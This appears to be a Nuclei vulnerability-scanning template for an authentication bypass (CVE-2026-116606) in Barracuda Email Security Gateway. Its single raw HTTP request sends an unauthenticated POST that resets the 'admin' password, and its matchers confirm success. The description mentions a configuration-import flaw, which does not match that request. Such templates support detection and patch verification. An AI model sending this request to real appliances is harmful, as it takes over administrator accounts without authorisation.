CVE-2026-116606: Barracuda Email Security Gateway - Authentication Bypass

id: CVE-2026-116606

info:
  name: Barracuda Email Security Gateway - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    An authentication bypass in Barracuda Email Security Gateway versions earlier than 9.4.0.030 allows an unauthenticated remote attacker to invoke a configuration-import function and restore a crafted, compatible backup archive, resulting in unauthorized modification of the appliance’s global configuration.
  impact: |
    Unauthenticated attackers can modify the appliance's global configuration, potentially compromising security and functionality.
  remediation: |
    Update to version 9.4.0.030 or later.
  reference:
    - https://labs.watchtowr.com/barracuda-networks-is-your-new-best-friend-barracuda-email-security-gateway-pre-auth-remote-root-rce-cve-2026-116606-cve-2026-111560/
    - https://github.com/watchtowrlabs/watchTowr-vs-Barracuda-RCE-CVE-2026-116606-CVE-2026-111560
    - https://blog.ostorlab.co/barracuda-esg-pre-auth-bypass-cve-2026-116606.html
    - https://www.rescana.com/post/barracuda-esg-cve-2026-116606-111560-root-prepare-now
  classification:
    cvss-score: 9.3
    cve-id: CVE-2026-116606
    epss-score: 0.00728
    epss-percentile: 0.54449
    cwe-id: CWE-288
  metadata:
    verified: false
    max-request: 1
    vendor: barracuda
    product: email_security_gateway
    shodan-query: http.html:"Barracuda"
  tags: cve,cve2026,barracuda,esg,email-security-gateway,auth-bypass,unauth

variables:
  username: "admin"
  password: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        POST /cgi-mod/index.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&new_password={{password}}&retype_password={{password}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'password_change.cgi'
          - 'Error: Password Change'
          - '"success":"true"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204a06874f8abd710ae1f1795e058fd15ca5ccfddde62500b26ad89a9931cb7125022100d5e10b1549bf908fd975f1436d5e96301316c6379e02c4aa35280afae78c7a5a:922c64590222798bb761d5b6d8e72950

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